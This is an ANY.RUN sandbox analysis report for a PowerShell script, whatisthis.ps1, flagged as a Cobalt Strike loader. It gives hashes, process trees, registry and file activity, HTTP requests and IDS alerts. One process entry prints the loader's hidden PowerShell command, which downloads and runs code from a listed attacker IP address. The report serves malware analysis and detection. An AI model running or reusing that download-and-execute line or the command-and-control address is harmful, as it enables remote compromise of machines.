Malware analysis whatisthis.ps1 Malicious activity | ANY.RUN

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File name:	whatisthis.ps1
Full analysis:	https://app.any.run/tasks/87dec7f4-8a0d-41c7-a363-2c26faf02709
Verdict:	Malicious activity
Threats:	Cobalt Strike is a legitimate penetration software toolkit developed by Forta. But its cracked versions are widely adopted by bad actors, who use it as a C2 system of choice for targeted attacks. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	August 30, 2019, 20:49:06
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	trojan cobaltstrike loader
Indicators:
MIME:	text/plain
File info:	ASCII text
MD5:	59F0F8D06E1F7D4492275097B424F412
SHA1:	41074FE91296D17666593A9980D09A5584A636B9
SHA256:	5BBDE6E404FE4AAB222B87C84552CE6E33B8E23488FE170A0A71BD4BCE57B915
SSDEEP:	3:VSJJFILqPAwHL9Ln8tSXRKBJ9KLxKCQkWRTgRD0Hvn:s86Z5LP0zmKtpR0WHv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 68.0.1 (x86 en-US) (68.0.1)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- COBALTSTRIKE was detected
  - powershell.exe (PID: 3924)
- Starts Visual C# compiler
  - powershell.exe (PID: 3924)
- Downloads executable files from the Internet
  - powershell.exe (PID: 3924)
- Downloads executable files from IP
  - powershell.exe (PID: 3924)
SUSPICIOUS
- PowerShell script executed
  - powershell.exe (PID: 2724)
- Executes PowerShell scripts
  - powershell.exe (PID: 2724)
- Creates files in the user directory
  - powershell.exe (PID: 2724)
  - powershell.exe (PID: 3924)
- Application launched itself
  - powershell.exe (PID: 2724)
- Reads Internet Cache Settings
  - powershell.exe (PID: 3924)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2724

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\AppData\Local\Temp\whatisthis.ps1"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2964

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES9706.tmp" "c:\Users\admin\AppData\Local\Temp\CSC9705.tmp"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

—

csc.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft® Resource File To COFF Object Conversion Utility

Exit code:

Version:

8.00.50727.4940 (Win7SP1.050727-5400)

Modules

Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll

3924

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(' http://23.81.246.139:80/asadsa'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

4052

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\gpqbt_lk.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Visual C# Command Line Compiler

Exit code:

Version:

8.0.50727.4927 (NetFXspW7.050727-4900)

Modules

Images
c:\windows\microsoft.net\framework\v2.0.50727\csc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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Total events

463

Read events

331

Write events

132

Delete events

Modification events


(PID) Process:	(3924) powershell.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(2724) powershell.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(2724) powershell.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2724) powershell.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(3924) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(3924) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(3924) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(3924) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(3924) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(3924) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2724	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WQHL5I5S1WEI8VLFK743.temp		—
		MD5:—	SHA256:—
3924	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9CRF09KV23K2SRQ2TD54.temp		—
		MD5:—	SHA256:—
3924	powershell.exe	C:\Users\admin\AppData\Local\Temp\gpqbt_lk.0.cs		—
		MD5:—	SHA256:—
3924	powershell.exe	C:\Users\admin\AppData\Local\Temp\gpqbt_lk.cmdline		—
		MD5:—	SHA256:—
4052	csc.exe	C:\Users\admin\AppData\Local\Temp\CSC9705.tmp		—
		MD5:—	SHA256:—
4052	csc.exe	C:\Users\admin\AppData\Local\Temp\gpqbt_lk.dll		—
		MD5:—	SHA256:—
2964	cvtres.exe	C:\Users\admin\AppData\Local\Temp\RES9706.tmp		—
		MD5:—	SHA256:—
4052	csc.exe	C:\Users\admin\AppData\Local\Temp\gpqbt_lk.out		—
		MD5:—	SHA256:—
2724	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
3924	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3924	powershell.exe	GET	200	23.81.246.139:80	http://23.81.246.139/1tRe	US	executable	206 Kb	malicious
3924	powershell.exe	GET	200	23.81.246.139:80	http://23.81.246.139/push	US	—	—	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3924	powershell.exe	23.81.246.139:80	—	Nobis Technology Group, LLC	US	malicious

DNS requests

No data

Threats

PID	Process	Class	Message
3924	powershell.exe	A Network Trojan was detected	AV POLICY NanoHTTPD Server Response - Possible Cobalt Strike Team Server
3924	powershell.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
3924	powershell.exe	Potentially Bad Traffic	ET INFO SUSPICIOUS Dotted Quad Host MZ Response
3924	powershell.exe	A Network Trojan was detected	ET TROJAN Possible Metasploit Payload Common Construct Bind_API (from server)
3924	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] BackDoor.Meterpreter.19
3924	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Cobalt Strike Beacon Observed

1 ETPRO signatures available at the full report

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Process	Message
csc.exe	* HR originated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe	* HR originated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe	* HR originated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe	* HR propagated: -2147024774 * Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144

General Info

whatisthis.ps1

59F0F8D06E1F7D4492275097B424F412

41074FE91296D17666593A9980D09A5584A636B9

5BBDE6E404FE4AAB222B87C84552CE6E33B8E23488FE170A0A71BD4BCE57B915

3:VSJJFILqPAwHL9Ln8tSXRKBJ9KLxKCQkWRTgRD0Hvn:s86Z5LP0zmKtpR0WHv

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

COBALTSTRIKE was detected

Starts Visual C# compiler

Downloads executable files from the Internet

Downloads executable files from IP

SUSPICIOUS

PowerShell script executed

Executes PowerShell scripts

Creates files in the user directory

Application launched itself

Reads Internet Cache Settings

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings